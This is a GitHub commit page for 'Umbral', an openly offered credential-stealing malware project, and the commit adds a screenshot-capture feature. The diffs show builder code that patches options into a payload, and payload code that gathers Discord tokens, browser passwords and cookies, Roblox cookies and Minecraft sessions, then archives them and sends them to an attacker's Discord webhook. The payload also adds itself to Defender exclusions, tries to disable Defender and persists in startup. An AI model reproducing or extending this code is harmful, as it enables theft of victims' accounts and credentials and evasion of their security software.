Skip to content
This repository has been archived by the owner on Mar 2, 2024. It is now read-only.

Commit

Permalink
Added Screenshot feature
Browse files Browse the repository at this point in the history
  • Loading branch information
Blank-c committed Apr 10, 2023
1 parent 36c14db commit d99daf6
Show file tree
Hide file tree
Showing 13 changed files with 133 additions and 65 deletions.
10 changes: 6 additions & 4 deletions Umbral.builder/Build/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,13 +2,10 @@
using Mono.Cecil.Cil;
using Mono.Cecil;
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Microsoft.CSharp;
using Mono.Cecil.Rocks;
using Vestris.ResourceLib;

Expand Down Expand Up @@ -46,6 +43,7 @@ public class Builder
public bool StealCookies;
public bool StealRobloxCookies;
public bool StealMinecraftSession;
public bool CaptureScreenshot;

public AssemblyInfo AssemblyInformation;

Expand Down Expand Up @@ -138,6 +136,10 @@ public bool Build(TextBox textBox)
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = StealTokens ? 1 : 0;
break;
case 9: // takeScreenshot
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = CaptureScreenshot ? 1 : 0;
break;
}
}
}
Expand Down Expand Up @@ -231,4 +233,4 @@ private static string Encrypt(string value, byte[] key, byte[] iv)
return Convert.ToBase64String(structure[0].Concat(structure[1]).ToArray());
}
}
}
}
9 changes: 6 additions & 3 deletions Umbral.builder/Umbral.builder.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,11 @@
<PropertyGroup>
<ApplicationIcon>logo.ico</ApplicationIcon>
</PropertyGroup>
<PropertyGroup />
<PropertyGroup />
<PropertyGroup>
<NoWin32Manifest>true</NoWin32Manifest>
</PropertyGroup>
<ItemGroup>
<Reference Include="jose-jwt, Version=4.1.0.0, Culture=neutral, processorArchitecture=MSIL">
<HintPath>..\packages\jose-jwt.4.1.0\lib\net472\jose-jwt.dll</HintPath>
Expand Down Expand Up @@ -150,6 +155,7 @@
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="App.config" />
<None Include="packages.config" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
Expand All @@ -161,9 +167,6 @@
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.7.2">
<Visible>False</Visible>
Expand Down
35 changes: 18 additions & 17 deletions Umbral.builder/User Controls/BuilderTab.cs
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ private void BuildButton_Click(object sender, System.EventArgs e)
if (buildButton.Text.Equals(BuildButtonEnabledPlaceHolder))
{
if (!(GeneralTab.StealTokens || GeneralTab.StealRobloxCookies || GeneralTab.StealCookies ||
GeneralTab.StealPasswords || GeneralTab.StealMinecraftSession))
GeneralTab.StealPasswords || GeneralTab.StealMinecraftSession || GeneralTab.TakeScreenshot))
{
MessageBox.Show("Enable at least one of the stealing targets!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
Expand All @@ -39,7 +39,7 @@ private void BuildButton_Click(object sender, System.EventArgs e)
{
AddExtension = true,
CheckPathExists = true,
FileName = "output.exe",
FileName = "Umbral.exe",
Filter = "Executable File|*.exe"
};

Expand All @@ -60,21 +60,22 @@ private void BuildButton_Click(object sender, System.EventArgs e)
StealPasswords = GeneralTab.StealPasswords,
StealCookies = GeneralTab.StealCookies,
StealRobloxCookies = GeneralTab.StealRobloxCookies,
StealMinecraftSession = GeneralTab.StealMinecraftSession
};

builder.AssemblyInformation = new AssemblyInfo
{
CompanyName = AssemblyTab.CompanyNameInfo,
AssemblyVersion = AssemblyTab.AssemblyVersionInfo,
FileDescription = AssemblyTab.FileDescriptionInfo,
FileVersion = AssemblyTab.FileVersionInfo,
InternalName = AssemblyTab.InternalNameInfo,
LegalCopyright = AssemblyTab.LegalCopyrightInfo,
LegalTrademarks = AssemblyTab.LegalTrademarksInfo,
OriginalFilename = AssemblyTab.OriginalFilenameInfo,
ProductName = AssemblyTab.ProductNameInfo,
ProductVersion = AssemblyTab.ProductVersionInfo
StealMinecraftSession = GeneralTab.StealMinecraftSession,
CaptureScreenshot = GeneralTab.TakeScreenshot,

AssemblyInformation = new AssemblyInfo
{
CompanyName = AssemblyTab.CompanyNameInfo,
AssemblyVersion = AssemblyTab.AssemblyVersionInfo,
FileDescription = AssemblyTab.FileDescriptionInfo,
FileVersion = AssemblyTab.FileVersionInfo,
InternalName = AssemblyTab.InternalNameInfo,
LegalCopyright = AssemblyTab.LegalCopyrightInfo,
LegalTrademarks = AssemblyTab.LegalTrademarksInfo,
OriginalFilename = AssemblyTab.OriginalFilenameInfo,
ProductName = AssemblyTab.ProductNameInfo,
ProductVersion = AssemblyTab.ProductVersionInfo
}
};

BuildButton.Text = BuildButtonEnabledPlaceHolder;
Expand Down
16 changes: 16 additions & 0 deletions Umbral.builder/User Controls/GeneralTab.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

3 changes: 3 additions & 0 deletions Umbral.builder/User Controls/GeneralTab.cs
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ public partial class GeneralTab : UserControl
public static bool StealCookies;
public static bool StealRobloxCookies;
public static bool StealMinecraftSession;
public static bool TakeScreenshot;

private const string WebhookPlaceholder = "https://discord.com/api/webhooks/1234567890/abcdefhgijklmnopqrstuvwxyz";
private const string WebhookCheckButtonPlaceHolderEnabled = "Check Webhook";
Expand Down Expand Up @@ -120,6 +121,8 @@ private void CheckBox_CheckChanged(object sender, EventArgs e)
StealRobloxCookies = checkBox.Checked;
else if (checkBox.Equals(StealMinecraftSessionCheckBox))
StealMinecraftSession = checkBox.Checked;
else if (checkBox.Equals(TakeScreenshotCheckBox))
TakeScreenshot = checkBox.Checked;
}

private void webhookLabel_TextChanged(object sender, EventArgs e)
Expand Down
1 change: 1 addition & 0 deletions Umbral.builder/User Controls/Soon.cs
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ namespace Umbral.builder.User_Controls
{
public partial class Soon : UserControl
{

public Soon()
{
InitializeComponent();
Expand Down
Binary file modified Umbral.builder/logo.ico
Binary file not shown.
37 changes: 5 additions & 32 deletions Umbral.payload/App.config
Original file line number Diff line number Diff line change
@@ -1,33 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<configSections>

<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" internalKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-2.1.4.1835" newVersion="2.1.4.1835" />
</dependentAssembly>
</assemblyBinding>
</runtime>
<entityFramework>
<providers>
<provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
<provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
</providers>
</entityFramework>

</configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
4 changes: 4 additions & 0 deletions Umbral.payload/Config/Settings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,8 @@ internal static class Settings

internal static readonly bool StealMinecraftFiles;

internal static readonly bool TakeScreenshot;

internal static readonly string Mutex;

static Settings()
Expand All @@ -45,6 +47,7 @@ static Settings()
var stealRobloxCookies = true;
var stealMinecraftFiles = true;
var stealDiscordTokens = true;
var takeScreenshot = true;

//--------------------------------------

Expand All @@ -62,6 +65,7 @@ static Settings()
StealCookies = stealCookies;
StealRobloxCookies = stealRobloxCookies;
StealMinecraftFiles = stealMinecraftFiles;
TakeScreenshot = takeScreenshot;
Mutex = mutex;
}

Expand Down
21 changes: 17 additions & 4 deletions Umbral.payload/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -91,8 +91,8 @@ private static async Task Run()
if (Settings.StealMinecraftFiles)
getMinecraftFiles =
MinecraftStealer.StealMinecraftFiles(Path.Combine(tempFolder, "Games", "Minecraft"));
else
await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromiumPasswords, getComodoPasswords,

await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromiumPasswords, getComodoPasswords,
getEdgePasswords, getEpicPrivacyPasswords, getIridiumPasswords, getOperaPasswords, getOperaGxPasswords,
getSlimjetPasswords, getUrPasswords, getVivaldiPasswords, getYandexPasswords, getBraveCookies,
getChromeCookies, getChromiumCookies, getComodoCookies, getEdgeCookies, getEpicPrivacyCookies,
Expand Down Expand Up @@ -133,11 +133,14 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium

var gotMinecraftFiles = await getMinecraftFiles ? 1 : 0;

var screenshots = Common.CaptureScreenShot();

var saveProcesses = new List<Task>();
var cookiesCount = 0;
var passwordsCount = 0;
var discordTokenCount = 0;
var robloxCookieCount = 0;
var screenshotCount = 0;

if (discordAccounts.Length > 0 && Settings.StealDiscordtokens)
{
Expand All @@ -147,6 +150,14 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium
discordTokenCount += discordAccounts.Length;
}

if (screenshots.Length > 0 && Settings.TakeScreenshot)
{
var saveTo = Path.Combine(tempFolder, "Display");
Directory.CreateDirectory(saveTo);
saveProcesses.Add(Task.Run(() => SaveData.SaveToFile(screenshots, saveTo)));
screenshotCount += screenshots.Length;
}

#region StealPaswords

if (bravePasswords.Length > 0 && Settings.StealPasswords)
Expand Down Expand Up @@ -371,6 +382,7 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium

#endregion


await Task.WhenAll(saveProcesses);
if (Common.Compress(tempFolder, archivePath))
{
Expand All @@ -380,7 +392,8 @@ await Task.WhenAll(getTokens, getBravePasswords, getChromePasswords, getChromium
{ "Passwords", passwordsCount },
{ "Discord Tokens", discordTokenCount },
{ "Minecraft Session Files", gotMinecraftFiles },
{ "Roblox Cookies", robloxCookieCount }
{ "Roblox Cookies", robloxCookieCount },
{ "Screenshots", screenshotCount }
});
File.Delete(archivePath);
}
Expand Down Expand Up @@ -412,7 +425,7 @@ private static async Task Process()
Syscalls.DefenderExclude(Application.ExecutablePath); // Tries to add itself to Defender exclusions
Syscalls.DisableDefender(); // Tries to disable defender. Fails if tamper protection is enabled.

if (!Common.IsInStartup() && Settings.Startup && Syscalls.CheckAdminPrivileges())
if (!Common.IsInStartup() && Settings.Startup && Syscalls.CheckAdminPrivileges())
Common.PutInStartup(); // Puts itself in startup
}
}
Expand Down
8 changes: 4 additions & 4 deletions Umbral.payload/Umbral.payload.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,7 @@
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.IO.Compression.FileSystem" />
<Reference Include="System.Net">
<HintPath>..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.7.2\System.Net.dll</HintPath>
Expand Down Expand Up @@ -131,9 +132,6 @@
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.7.2">
<Visible>False</Visible>
Expand All @@ -146,7 +144,9 @@
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup />
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)\Umbral.payload"
Expand Down
Loading

0 comments on commit d99daf6

Please sign in to comment.